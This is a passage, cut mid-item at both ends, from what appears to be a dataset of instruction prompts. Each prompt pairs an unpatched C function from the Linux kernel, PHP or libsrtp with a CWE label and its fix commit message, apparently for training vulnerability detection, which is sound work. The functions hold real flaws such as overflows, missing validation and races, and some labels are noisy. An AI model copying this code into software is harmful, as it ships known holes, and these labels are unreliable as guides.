; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-190'], 'message': 'Fix bug #71637: Multiple Heap Overflow due to integer overflows'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int do_add_counters(struct net *net, const void __user *user,\n\t\t\t unsigned int len, int compat)\n{\n\tunsigned int i;\n\tstruct xt_counters_info tmp;\n\tstruct xt_counters *paddc;\n\tunsigned int num_counters;\n\tconst char *name;\n\tint size;\n\tvoid *ptmp;\n\tstruct xt_table *t;\n\tconst struct xt_table_info *private;\n\tint ret = 0;\n\tstruct arpt_entry *iter;\n\tunsigned int addend;\n#ifdef CONFIG_COMPAT\n\tstruct compat_xt_counters_info compat_tmp;\n\n\tif (compat) {\n\t\tptmp = &compat_tmp;\n\t\tsize = sizeof(struct compat_xt_counters_info);\n\t} else\n#endif\n\t{\n\t\tptmp = &tmp;\n\t\tsize = sizeof(struct xt_counters_info);\n\t}\n\n\tif (copy_from_user(ptmp, user, size) != 0)\n\t\treturn -EFAULT;\n\n#ifdef CONFIG_COMPAT\n\tif (compat) {\n\t\tnum_counters = compat_tmp.num_counters;\n\t\tname = compat_tmp.name;\n\t} else\n#endif\n\t{\n\t\tnum_counters = tmp.num_counters;\n\t\tname = tmp.name;\n\t}\n\n\tif (len != size + num_counters * sizeof(struct xt_counters))\n\t\treturn -EINVAL;\n\n\tpaddc = vmalloc(len - size);\n\tif (!paddc)\n\t\treturn -ENOMEM;\n\n\tif (copy_from_user(paddc, user + size, len - size) != 0) {\n\t\tret = -EFAULT;\n\t\tgoto free;\n\t}\n\n\tt = xt_find_table_lock(net, NFPROTO_ARP, name);\n\tif (IS_ERR_OR_NULL(t)) {\n\t\tret = t ? PTR_ERR(t) : -ENOENT;\n\t\tgoto free;\n\t}\n\n\tlocal_bh_disable();\n\tprivate = t->private;\n\tif (private->number != num_counters) {\n\t\tret = -EINVAL;\n\t\tgoto unlock_up_free;\n\t}\n\n\ti = 0;\n\n\taddend = xt_write_recseq_begin();\n\txt_entry_foreach(iter, private->entries, private->size) {\n\t\tstruct xt_counters *tmp;\n\n\t\ttmp = xt_get_this_cpu_counter(&iter->counters);\n\t\tADD_COUNTER(*tmp, paddc[i].bcnt, paddc[i].pcnt);\n\t\t++i;\n\t}\n\txt_write_recseq_end(addend);\n unlock_up_free:\n\tlocal_bh_enable();\n\txt_table_unlock(t);\n\tmodule_put(t->me);\n free:\n\tvfree(paddc);\n\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'netfilter: x_tables: introduce and use xt_copy_counters_from_user\n\nThe three variants use same copy&pasted code, condense this into a\nhelper and use that.\n\nMake sure info.name is 0-terminated.\n\nSigned-off-by: Florian Westphal \nSigned-off-by: Pablo Neira Ayuso '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: void fib_del_ifaddr(struct in_ifaddr *ifa, struct in_ifaddr *iprim)\n{\n\tstruct in_device *in_dev = ifa->ifa_dev;\n\tstruct net_device *dev = in_dev->dev;\n\tstruct in_ifaddr *ifa1;\n\tstruct in_ifaddr *prim = ifa, *prim1 = NULL;\n\t__be32 brd = ifa->ifa_address | ~ifa->ifa_mask;\n\t__be32 any = ifa->ifa_address & ifa->ifa_mask;\n#define LOCAL_OK\t1\n#define BRD_OK\t\t2\n#define BRD0_OK\t\t4\n#define BRD1_OK\t\t8\n\tunsigned int ok = 0;\n\tint subnet = 0;\t\t/* Primary network */\n\tint gone = 1;\t\t/* Address is missing */\n\tint same_prefsrc = 0;\t/* Another primary with same IP */\n\n\tif (ifa->ifa_flags & IFA_F_SECONDARY) {\n\t\tprim = inet_ifa_byprefix(in_dev, any, ifa->ifa_mask);\n\t\tif (!prim) {\n\t\t\tpr_warn(\"%s: bug: prim == NULL\\n\", __func__);\n\t\t\treturn;\n\t\t}\n\t\tif (iprim && iprim != prim) {\n\t\t\tpr_warn(\"%s: bug: iprim != prim\\n\", __func__);\n\t\t\treturn;\n\t\t}\n\t} else if (!ipv4_is_zeronet(any) &&\n\t\t (any != ifa->ifa_local || ifa->ifa_prefixlen < 32)) {\n\t\tif (!(ifa->ifa_flags & IFA_F_NOPREFIXROUTE))\n\t\t\tfib_magic(RTM_DELROUTE,\n\t\t\t\t dev->flags & IFF_LOOPBACK ? RTN_LOCAL : RTN_UNICAST,\n\t\t\t\t any, ifa->ifa_prefixlen, prim);\n\t\tsubnet = 1;\n\t}\n\n\t/* Deletion is more complicated than add.\n\t * We should take care of not to delete too much :-)\n\t *\n\t * Scan address list to be sure that addresses are really gone.\n\t */\n\n\tfor (ifa1 = in_dev->ifa_list; ifa1; ifa1 = ifa1->ifa_next) {\n\t\tif (ifa1 == ifa) {\n\t\t\t/* promotion, keep the IP */\n\t\t\tgone = 0;\n\t\t\tcontinue;\n\t\t}\n\t\t/* Ignore IFAs from our subnet */\n\t\tif (iprim && ifa1->ifa_mask == iprim->ifa_mask &&\n\t\t inet_ifa_match(ifa1->ifa_address, iprim))\n\t\t\tcontinue;\n\n\t\t/* Ignore ifa1 if it uses different primary IP (prefsrc) */\n\t\tif (ifa1->ifa_flags & IFA_F_SECONDARY) {\n\t\t\t/* Another address from our subnet? */\n\t\t\tif (ifa1->ifa_mask == prim->ifa_mask &&\n\t\t\t inet_ifa_match(ifa1->ifa_address, prim))\n\t\t\t\tprim1 = prim;\n\t\t\telse {\n\t\t\t\t/* We reached the secondaries, so\n\t\t\t\t * same_prefsrc should be determined.\n\t\t\t\t */\n\t\t\t\tif (!same_prefsrc)\n\t\t\t\t\tcontinue;\n\t\t\t\t/* Search new prim1 if ifa1 is not\n\t\t\t\t * using the current prim1\n\t\t\t\t */\n\t\t\t\tif (!prim1 ||\n\t\t\t\t ifa1->ifa_mask != prim1->ifa_mask ||\n\t\t\t\t !inet_ifa_match(ifa1->ifa_address, prim1))\n\t\t\t\t\tprim1 = inet_ifa_byprefix(in_dev,\n\t\t\t\t\t\t\tifa1->ifa_address,\n\t\t\t\t\t\t\tifa1->ifa_mask);\n\t\t\t\tif (!prim1)\n\t\t\t\t\tcontinue;\n\t\t\t\tif (prim1->ifa_local != prim->ifa_local)\n\t\t\t\t\tcontinue;\n\t\t\t}\n\t\t} else {\n\t\t\tif (prim->ifa_local != ifa1->ifa_local)\n\t\t\t\tcontinue;\n\t\t\tprim1 = ifa1;\n\t\t\tif (prim != prim1)\n\t\t\t\tsame_prefsrc = 1;\n\t\t}\n\t\tif (ifa->ifa_local == ifa1->ifa_local)\n\t\t\tok |= LOCAL_OK;\n\t\tif (ifa->ifa_broadcast == ifa1->ifa_broadcast)\n\t\t\tok |= BRD_OK;\n\t\tif (brd == ifa1->ifa_broadcast)\n\t\t\tok |= BRD1_OK;\n\t\tif (any == ifa1->ifa_broadcast)\n\t\t\tok |= BRD0_OK;\n\t\t/* primary has network specific broadcasts */\n\t\tif (prim1 == ifa1 && ifa1->ifa_prefixlen < 31) {\n\t\t\t__be32 brd1 = ifa1->ifa_address | ~ifa1->ifa_mask;\n\t\t\t__be32 any1 = ifa1->ifa_address & ifa1->ifa_mask;\n\n\t\t\tif (!ipv4_is_zeronet(any1)) {\n\t\t\t\tif (ifa->ifa_broadcast == brd1 ||\n\t\t\t\t ifa->ifa_broadcast == any1)\n\t\t\t\t\tok |= BRD_OK;\n\t\t\t\tif (brd == brd1 || brd == any1)\n\t\t\t\t\tok |= BRD1_OK;\n\t\t\t\tif (any == brd1 || any == any1)\n\t\t\t\t\tok |= BRD0_OK;\n\t\t\t}\n\t\t}\n\t}\n\n\tif (!(ok & BRD_OK))\n\t\tfib_magic(RTM_DELROUTE, RTN_BROADCAST, ifa->ifa_broadcast, 32, prim);\n\tif (subnet && ifa->ifa_prefixlen < 31) {\n\t\tif (!(ok & BRD1_OK))\n\t\t\tfib_magic(RTM_DELROUTE, RTN_BROADCAST, brd, 32, prim);\n\t\tif (!(ok & BRD0_OK))\n\t\t\tfib_magic(RTM_DELROUTE, RTN_BROADCAST, any, 32, prim);\n\t}\n\tif (!(ok & LOCAL_OK)) {\n\t\tunsigned int addr_type;\n\n\t\tfib_magic(RTM_DELROUTE, RTN_LOCAL, ifa->ifa_local, 32, prim);\n\n\t\t/* Check, that this local address finally disappeared. */\n\t\taddr_type = inet_addr_type_dev_table(dev_net(dev), dev,\n\t\t\t\t\t\t ifa->ifa_local);\n\t\tif (gone && addr_type != RTN_LOCAL) {\n\t\t\t/* And the last, but not the least thing.\n\t\t\t * We must flush stray FIB entries.\n\t\t\t *\n\t\t\t * First of all, we scan fib_info list searching\n\t\t\t * for stray nexthop entries, then ignite fib_flush.\n\t\t\t */\n\t\t\tif (fib_sync_down_addr(dev_net(dev), ifa->ifa_local))\n\t\t\t\tfib_flush(dev_net(dev));\n\t\t}\n\t}\n#undef LOCAL_OK\n#undef BRD_OK\n#undef BRD0_OK\n#undef BRD1_OK\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-399'], 'message': 'ipv4: Don't do expensive useless work during inetdev destroy.\n\nWhen an inetdev is destroyed, every address assigned to the interface\nis removed. And in this scenerio we do two pointless things which can\nbe very expensive if the number of assigned interfaces is large:\n\n1) Address promotion. We are deleting all addresses, so there is no\n point in doing this.\n\n2) A full nf conntrack table purge for every address. We only need to\n do this once, as is already caught by the existing\n masq_dev_notifier so masq_inet_event() can skip this.\n\nReported-by: Solar Designer \nSigned-off-by: David S. Miller \nTested-by: Cyrill Gorcunov '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: mbfl_identify_encoding(mbfl_string *string, enum mbfl_no_encoding *elist, int elistsz, int strict)\n{\n\tint i, n, num, bad;\n\tunsigned char *p;\n\tmbfl_identify_filter *flist, *filter;\n\tconst mbfl_encoding *encoding;\n\n\t/* flist is an array of mbfl_identify_filter instances */\n\tflist = (mbfl_identify_filter *)mbfl_calloc(elistsz, sizeof(mbfl_identify_filter));\n\tif (flist == NULL) {\n\t\treturn NULL;\n\t}\n\n\tnum = 0;\n\tif (elist != NULL) {\n\t\tfor (i = 0; i < elistsz; i++) {\n\t\t\tif (!mbfl_identify_filter_init(&flist[num], elist[i])) {\n\t\t\t\tnum++;\n\t\t\t}\n\t\t}\n\t}\n\n\t/* feed data */\n\tn = string->len;\n\tp = string->val;\n\n\tif (p != NULL) {\n\t\tbad = 0;\n\t\twhile (n > 0) {\n\t\t\tfor (i = 0; i < num; i++) {\n\t\t\t\tfilter = &flist[i];\n\t\t\t\tif (!filter->flag) {\n\t\t\t\t\t(*filter->filter_function)(*p, filter);\n\t\t\t\t\tif (filter->flag) {\n\t\t\t\t\t\tbad++;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t\tif ((num - 1) <= bad && !strict) {\n\t\t\t\tbreak;\n\t\t\t}\n\t\t\tp++;\n\t\t\tn--;\n\t\t}\n\t}\n\n\t/* judge */\n\tencoding = NULL;\n\n\tfor (i = 0; i < num; i++) {\n\t\tfilter = &flist[i];\n\t\tif (!filter->flag) {\n\t\t\tif (strict && filter->status) {\n \t\t\t\tcontinue;\n \t\t\t}\n\t\t\tencoding = filter->encoding;\n\t\t\tbreak;\n\t\t}\n\t}\n\n\t/* fall-back judge */\n\tif (!encoding) {\n\t\tfor (i = 0; i < num; i++) {\n\t\t\tfilter = &flist[i];\n\t\t\tif (!filter->flag && (!strict || !filter->status)) {\n\t\t\t\tencoding = filter->encoding;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\t}\n \n\t/* cleanup */\n\t/* dtors should be called in reverse order */\n\ti = num; while (--i >= 0) {\n\t\tmbfl_identify_filter_cleanup(&flist[i]);\n\t}\n\n\tmbfl_free((void *)flist);\n\n\treturn encoding;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Fixed bug #71906: AddressSanitizer: negative-size-param (-1) in mbfl_strcut'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHP_METHOD(PharFileInfo, __construct)\n{\n\tchar *fname, *arch, *entry, *error;\n\tsize_t fname_len;\n\tint arch_len, entry_len;\n\tphar_entry_object *entry_obj;\n\tphar_entry_info *entry_info;\n\tphar_archive_data *phar_data;\n\tzval *zobj = getThis(), arg1;\n\n\tif (zend_parse_parameters_throw(ZEND_NUM_ARGS(), \"s\", &fname, &fname_len) == FAILURE) {\n\t\treturn;\n\t}\n\n\tentry_obj = (phar_entry_object*)((char*)Z_OBJ_P(zobj) - Z_OBJ_P(zobj)->handlers->offset);\n\n\tif (entry_obj->entry) {\n\t\tzend_throw_exception_ex(spl_ce_BadMethodCallException, 0, \"Cannot call constructor twice\");\n\t\treturn;\n\t}\n\n\tif (fname_len < 7 || memcmp(fname, \"phar://\", 7) || phar_split_fname(fname, (int)fname_len, &arch, &arch_len, &entry, &entry_len, 2, 0) == FAILURE) {\n\t\tzend_throw_exception_ex(spl_ce_RuntimeException, 0,\n\t\t\t\"'%s' is not a valid phar archive URL (must have at least phar://filename.phar)\", fname);\n\t\treturn;\n\t}\n\n\tif (phar_open_from_filename(arch, arch_len, NULL, 0, REPORT_ERRORS, &phar_data, &error) == FAILURE) {\n\t\tefree(arch);\n\t\tefree(entry);\n\t\tif (error) {\n\t\t\tzend_throw_exception_ex(spl_ce_RuntimeException, 0,\n\t\t\t\t\"Cannot open phar file '%s': %s\", fname, error);\n\t\t\tefree(error);\n\t\t} else {\n\t\t\tzend_throw_exception_ex(spl_ce_RuntimeException, 0,\n\t\t\t\t\"Cannot open phar file '%s'\", fname);\n\t\t}\n\t\treturn;\n\t}\n\n\tif ((entry_info = phar_get_entry_info_dir(phar_data, entry, entry_len, 1, &error, 1)) == NULL) {\n\t\tzend_throw_exception_ex(spl_ce_RuntimeException, 0,\n\t\t\t\"Cannot access phar file entry '%s' in archive '%s'%s%s\", entry, arch, error ? \", \" : \"\", error ? error : \"\");\n\t\tefree(arch);\n\t\tefree(entry);\n\t\treturn;\n\t}\n\n\tefree(arch);\n\tefree(entry);\n\n\tentry_obj->entry = entry_info;\n\n\tZVAL_STRINGL(&arg1, fname, fname_len);\n\n\tzend_call_method_with_1_params(zobj, Z_OBJCE_P(zobj),\n\t\t&spl_ce_SplFileInfo->constructor, \"__construct\", NULL, &arg1);\n\n\tzval_ptr_dtor(&arg1);\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Fix bug #71860: Require valid paths for phar filenames'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: PHP_METHOD(Phar, loadPhar)\n{\n\tchar *fname, *alias = NULL, *error;\n\tsize_t fname_len, alias_len = 0;\n\n\tif (zend_parse_parameters(ZEND_NUM_ARGS(), \"s|s!\", &fname, &fname_len, &alias, &alias_len) == FAILURE) {\n\t\treturn;\n\t}\n\n\tphar_request_initialize();\n\n\tRETVAL_BOOL(phar_open_from_filename(fname, fname_len, alias, alias_len, REPORT_ERRORS, NULL, &error) == SUCCESS);\n\n\tif (error) {\n\t\tzend_throw_exception_ex(phar_ce_PharException, 0, \"%s\", error);\n\t\tefree(error);\n\t}\n} /* }}} */ ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-20'], 'message': 'Fix bug #71860: Require valid paths for phar filenames'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: int ext4_collapse_range(struct inode *inode, loff_t offset, loff_t len)\n{\n\tstruct super_block *sb = inode->i_sb;\n\text4_lblk_t punch_start, punch_stop;\n\thandle_t *handle;\n\tunsigned int credits;\n\tloff_t new_size, ioffset;\n\tint ret;\n\n\t/*\n\t * We need to test this early because xfstests assumes that a\n\t * collapse range of (0, 1) will return EOPNOTSUPP if the file\n\t * system does not support collapse range.\n\t */\n\tif (!ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS))\n\t\treturn -EOPNOTSUPP;\n\n\t/* Collapse range works only on fs block size aligned offsets. */\n\tif (offset & (EXT4_CLUSTER_SIZE(sb) - 1) ||\n\t len & (EXT4_CLUSTER_SIZE(sb) - 1))\n\t\treturn -EINVAL;\n\n\tif (!S_ISREG(inode->i_mode))\n\t\treturn -EINVAL;\n\n\ttrace_ext4_collapse_range(inode, offset, len);\n\n\tpunch_start = offset >> EXT4_BLOCK_SIZE_BITS(sb);\n\tpunch_stop = (offset + len) >> EXT4_BLOCK_SIZE_BITS(sb);\n\n\t/* Call ext4_force_commit to flush all data in case of data=journal. */\n\tif (ext4_should_journal_data(inode)) {\n\t\tret = ext4_force_commit(inode->i_sb);\n\t\tif (ret)\n\t\t\treturn ret;\n\t}\n\n\t/*\n\t * Need to round down offset to be aligned with page size boundary\n\t * for page size > block size.\n\t */\n\tioffset = round_down(offset, PAGE_SIZE);\n\n\t/* Write out all dirty pages */\n\tret = filemap_write_and_wait_range(inode->i_mapping, ioffset,\n\t\t\t\t\t LLONG_MAX);\n\tif (ret)\n\t\treturn ret;\n\n\t/* Take mutex lock */\n\tmutex_lock(&inode->i_mutex);\n\n\t/*\n\t * There is no need to overlap collapse range with EOF, in which case\n\t * it is effectively a truncate operation\n\t */\n\tif (offset + len >= i_size_read(inode)) {\n\t\tret = -EINVAL;\n\t\tgoto out_mutex;\n\t}\n\n\t/* Currently just for extent based files */\n\tif (!ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS)) {\n\t\tret = -EOPNOTSUPP;\n\t\tgoto out_mutex;\n\t}\n\n\ttruncate_pagecache(inode, ioffset);\n\n\t/* Wait for existing dio to complete */\n\text4_inode_block_unlocked_dio(inode);\n\tinode_dio_wait(inode);\n\n\tcredits = ext4_writepage_trans_blocks(inode);\n\thandle = ext4_journal_start(inode, EXT4_HT_TRUNCATE, credits);\n\tif (IS_ERR(handle)) {\n\t\tret = PTR_ERR(handle);\n\t\tgoto out_dio;\n\t}\n\n\tdown_write(&EXT4_I(inode)->i_data_sem);\n\text4_discard_preallocations(inode);\n\n\tret = ext4_es_remove_extent(inode, punch_start,\n\t\t\t\t EXT_MAX_BLOCKS - punch_start);\n\tif (ret) {\n\t\tup_write(&EXT4_I(inode)->i_data_sem);\n\t\tgoto out_stop;\n\t}\n\n\tret = ext4_ext_remove_space(inode, punch_start, punch_stop - 1);\n\tif (ret) {\n\t\tup_write(&EXT4_I(inode)->i_data_sem);\n\t\tgoto out_stop;\n\t}\n\text4_discard_preallocations(inode);\n\n\tret = ext4_ext_shift_extents(inode, handle, punch_stop,\n\t\t\t\t punch_stop - punch_start, SHIFT_LEFT);\n\tif (ret) {\n\t\tup_write(&EXT4_I(inode)->i_data_sem);\n\t\tgoto out_stop;\n\t}\n\n\tnew_size = i_size_read(inode) - len;\n\ti_size_write(inode, new_size);\n\tEXT4_I(inode)->i_disksize = new_size;\n\n\tup_write(&EXT4_I(inode)->i_data_sem);\n\tif (IS_SYNC(inode))\n\t\text4_handle_sync(handle);\n\tinode->i_mtime = inode->i_ctime = ext4_current_time(inode);\n\text4_mark_inode_dirty(handle, inode);\n\nout_stop:\n\text4_journal_stop(handle);\nout_dio:\n\text4_inode_resume_unlocked_dio(inode);\nout_mutex:\n\tmutex_unlock(&inode->i_mutex);\n\treturn ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'ext4: fix races between page faults and hole punching\n\nCurrently, page faults and hole punching are completely unsynchronized.\nThis can result in page fault faulting in a page into a range that we\nare punching after truncate_pagecache_range() has been called and thus\nwe can end up with a page mapped to disk blocks that will be shortly\nfreed. Filesystem corruption will shortly follow. Note that the same\nrace is avoided for truncate by checking page fault offset against\ni_size but there isn't similar mechanism available for punching holes.\n\nFix the problem by creating new rw semaphore i_mmap_sem in inode and\ngrab it for writing over truncate, hole punching, and other functions\nremoving blocks from extent tree and for read over page faults. We\ncannot easily use i_data_sem for this since that ranks below transaction\nstart and we need something ranking above it so that it can be held over\nthe whole truncate / hole punching operation. Also remove various\nworkarounds we had in the code to reduce race window when page fault\ncould have created pages with stale mapping information.\n\nSigned-off-by: Jan Kara \nSigned-off-by: Theodore Ts'o '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static int ext4_alloc_file_blocks(struct file *file, ext4_lblk_t offset,\n\t\t\t\t ext4_lblk_t len, loff_t new_size,\n\t\t\t\t int flags, int mode)\n{\n\tstruct inode *inode = file_inode(file);\n\thandle_t *handle;\n\tint ret = 0;\n\tint ret2 = 0;\n\tint retries = 0;\n\tint depth = 0;\n\tstruct ext4_map_blocks map;\n\tunsigned int credits;\n\tloff_t epos;\n\n\tmap.m_lblk = offset;\n\tmap.m_len = len;\n\t/*\n\t * Don't normalize the request if it can fit in one extent so\n\t * that it doesn't get unnecessarily split into multiple\n\t * extents.\n\t */\n\tif (len <= EXT_UNWRITTEN_MAX_LEN)\n\t\tflags |= EXT4_GET_BLOCKS_NO_NORMALIZE;\n\n\t/* Wait all existing dio workers, newcomers will block on i_mutex */\n\text4_inode_block_unlocked_dio(inode);\n\tinode_dio_wait(inode);\n\n\t/*\n\t * credits to insert 1 extent into extent tree\n\t */\n\tcredits = ext4_chunk_trans_blocks(inode, len);\n\t/*\n\t * We can only call ext_depth() on extent based inodes\n\t */\n\tif (ext4_test_inode_flag(inode, EXT4_INODE_EXTENTS))\n\t\tdepth = ext_depth(inode);\n\telse\n\t\tdepth = -1;\n\nretry:\n\twhile (ret >= 0 && len) {\n\t\t/*\n\t\t * Recalculate credits when extent tree depth changes.\n\t\t */\n\t\tif (depth >= 0 && depth != ext_depth(inode)) {\n\t\t\tcredits = ext4_chunk_trans_blocks(inode, len);\n\t\t\tdepth = ext_depth(inode);\n\t\t}\n\n\t\thandle = ext4_journal_start(inode, EXT4_HT_MAP_BLOCKS,\n\t\t\t\t\t credits);\n\t\tif (IS_ERR(handle)) {\n\t\t\tret = PTR_ERR(handle);\n\t\t\tbreak;\n\t\t}\n\t\tret = ext4_map_blocks(handle, inode, &map, flags);\n\t\tif (ret <= 0) {\n\t\t\text4_debug(\"inode #%lu: block %u: len %u: \"\n\t\t\t\t \"ext4_ext_map_blocks returned %d\",\n\t\t\t\t inode->i_ino, map.m_lblk,\n\t\t\t\t map.m_len, ret);\n\t\t\text4_mark_inode_dirty(handle, inode);\n\t\t\tret2 = ext4_journal_stop(handle);\n\t\t\tbreak;\n\t\t}\n\t\tmap.m_lblk += ret;\n\t\tmap.m_len = len = len - ret;\n\t\tepos = (loff_t)map.m_lblk << inode->i_blkbits;\n\t\tinode->i_ctime = ext4_current_time(inode);\n\t\tif (new_size) {\n\t\t\tif (epos > new_size)\n\t\t\t\tepos = new_size;\n\t\t\tif (ext4_update_inode_size(inode, epos) & 0x1)\n\t\t\t\tinode->i_mtime = inode->i_ctime;\n\t\t} else {\n\t\t\tif (epos > inode->i_size)\n\t\t\t\text4_set_inode_flag(inode,\n\t\t\t\t\t\t EXT4_INODE_EOFBLOCKS);\n\t\t}\n\t\text4_mark_inode_dirty(handle, inode);\n\t\tret2 = ext4_journal_stop(handle);\n\t\tif (ret2)\n\t\t\tbreak;\n\t}\n\tif (ret == -ENOSPC &&\n\t\t\text4_should_retry_alloc(inode->i_sb, &retries)) {\n\t\tret = 0;\n\t\tgoto retry;\n\t}\n\n\text4_inode_resume_unlocked_dio(inode);\n\n\treturn ret > 0 ? ret2 : ret;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-362'], 'message': 'ext4: move unlocked dio protection from ext4_alloc_file_blocks()\n\nCurrently ext4_alloc_file_blocks() was handling protection against\nunlocked DIO. However we now need to sometimes call it under i_mmap_sem\nand sometimes not and DIO protection ranks above it (although strictly\nspeaking this cannot currently create any deadlocks). Also\next4_zero_range() was actually getting & releasing unlocked DIO\nprotection twice in some cases. Luckily it didn't introduce any real bug\nbut it was a land mine waiting to be stepped on. So move DIO protection\nout from ext4_alloc_file_blocks() into the two callsites.\n\nSigned-off-by: Jan Kara \nSigned-off-by: Theodore Ts'o '" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: srtp_protect_aead (srtp_ctx_t *ctx, srtp_stream_ctx_t *stream, \n\t void *rtp_hdr, unsigned int *pkt_octet_len)\n{\n srtp_hdr_t *hdr = (srtp_hdr_t*)rtp_hdr;\n uint32_t *enc_start; /* pointer to start of encrypted portion */\n unsigned int enc_octet_len = 0; /* number of octets in encrypted portion */\n xtd_seq_num_t est; /* estimated xtd_seq_num_t of *hdr */\n int delta; /* delta of local pkt idx and that in hdr */\n err_status_t status;\n int tag_len;\n v128_t iv;\n unsigned int aad_len;\n\n debug_print(mod_srtp, \"function srtp_protect_aead\", NULL);\n\n /*\n * update the key usage limit, and check it to make sure that we\n * didn't just hit either the soft limit or the hard limit, and call\n * the event handler if we hit either.\n */\n switch (key_limit_update(stream->limit)) {\n case key_event_normal:\n break;\n case key_event_hard_limit:\n srtp_handle_event(ctx, stream, event_key_hard_limit);\n return err_status_key_expired;\n case key_event_soft_limit:\n default:\n srtp_handle_event(ctx, stream, event_key_soft_limit);\n break;\n }\n\n /* get tag length from stream */\n tag_len = auth_get_tag_length(stream->rtp_auth);\n\n /*\n * find starting point for encryption and length of data to be\n * encrypted - the encrypted portion starts after the rtp header\n * extension, if present; otherwise, it starts after the last csrc,\n * if any are present\n */\n enc_start = (uint32_t*)hdr + uint32s_in_rtp_header + hdr->cc;\n if (hdr->x == 1) {\n srtp_hdr_xtnd_t *xtn_hdr = (srtp_hdr_xtnd_t*)enc_start;\n enc_start += (ntohs(xtn_hdr->length) + 1);\n }\n if (!((uint8_t*)enc_start < (uint8_t*)hdr + (*pkt_octet_len - tag_len)))\n return err_status_parse_err;\n enc_octet_len = (unsigned int)(*pkt_octet_len -\n ((uint8_t*)enc_start - (uint8_t*)hdr));\n\n /*\n * estimate the packet index using the start of the replay window\n * and the sequence number from the header\n */\n delta = rdbx_estimate_index(&stream->rtp_rdbx, &est, ntohs(hdr->seq));\n status = rdbx_check(&stream->rtp_rdbx, delta);\n if (status) {\n\tif (status != err_status_replay_fail || !stream->allow_repeat_tx) {\n\t return status; /* we've been asked to reuse an index */\n\t}\n } else {\n\trdbx_add_index(&stream->rtp_rdbx, delta);\n }\n\n#ifdef NO_64BIT_MATH\n debug_print2(mod_srtp, \"estimated packet index: %08x%08x\",\n high32(est), low32(est));\n#else\n debug_print(mod_srtp, \"estimated packet index: %016llx\", est);\n#endif\n\n /*\n * AEAD uses a new IV formation method\n */\n srtp_calc_aead_iv(stream, &iv, &est, hdr);\n status = cipher_set_iv(stream->rtp_cipher, &iv, direction_encrypt);\n if (status) {\n return err_status_cipher_fail;\n }\n\n /* shift est, put into network byte order */\n#ifdef NO_64BIT_MATH\n est = be64_to_cpu(make64((high32(est) << 16) |\n (low32(est) >> 16),\n low32(est) << 16));\n#else\n est = be64_to_cpu(est << 16);\n#endif\n\n /*\n * Set the AAD over the RTP header \n */\n aad_len = (uint8_t *)enc_start - (uint8_t *)hdr;\n status = cipher_set_aad(stream->rtp_cipher, (uint8_t*)hdr, aad_len);\n if (status) {\n return ( err_status_cipher_fail);\n }\n\n /* Encrypt the payload */\n status = cipher_encrypt(stream->rtp_cipher,\n (uint8_t*)enc_start, &enc_octet_len);\n if (status) {\n return err_status_cipher_fail;\n }\n /*\n * If we're doing GCM, we need to get the tag\n * and append that to the output\n */\n status = cipher_get_tag(stream->rtp_cipher, \n (uint8_t*)enc_start+enc_octet_len, &tag_len);\n if (status) {\n\treturn ( err_status_cipher_fail);\n }\n enc_octet_len += tag_len;\n\n /* increase the packet length by the length of the auth tag */\n *pkt_octet_len += tag_len;\n\n return err_status_ok;\n} ; Sample JSON Format Confermily Expected output: \"examples\" => \"cwe\": \"xxx\"; \"message\": \"xxx\"\n [/INST] 'cwe': ['CWE-119'], 'message': 'Apply a7216c19582827cdbd5cacce5618db0b6be8d851 to 1.5.x throttle'" + }, + { + "text": "[INST] Given the following code containing errors, provide Common Weakness Enumeration (CWE) identifiers and corresponding messages in JSON format. Each identified weakness should have a unique entry in the JSON array.\n Code: static long restore_tm_user_regs(struct pt_regs *regs,\n\t\t\t\t struct mcontext __user *sr,\n\t\t\t\t struct mcontext __user *tm_sr)\n{\n\tlong err;\n\tunsigned long msr, msr_hi;\n#ifdef CONFIG_VSX\n\tint i;\n#endif\n\n\t/*\n\t * restore general registers but not including MSR or SOFTE. Also\n\t * take care of keeping r2 (TLS) intact if not a signal.\n\t * See comment in 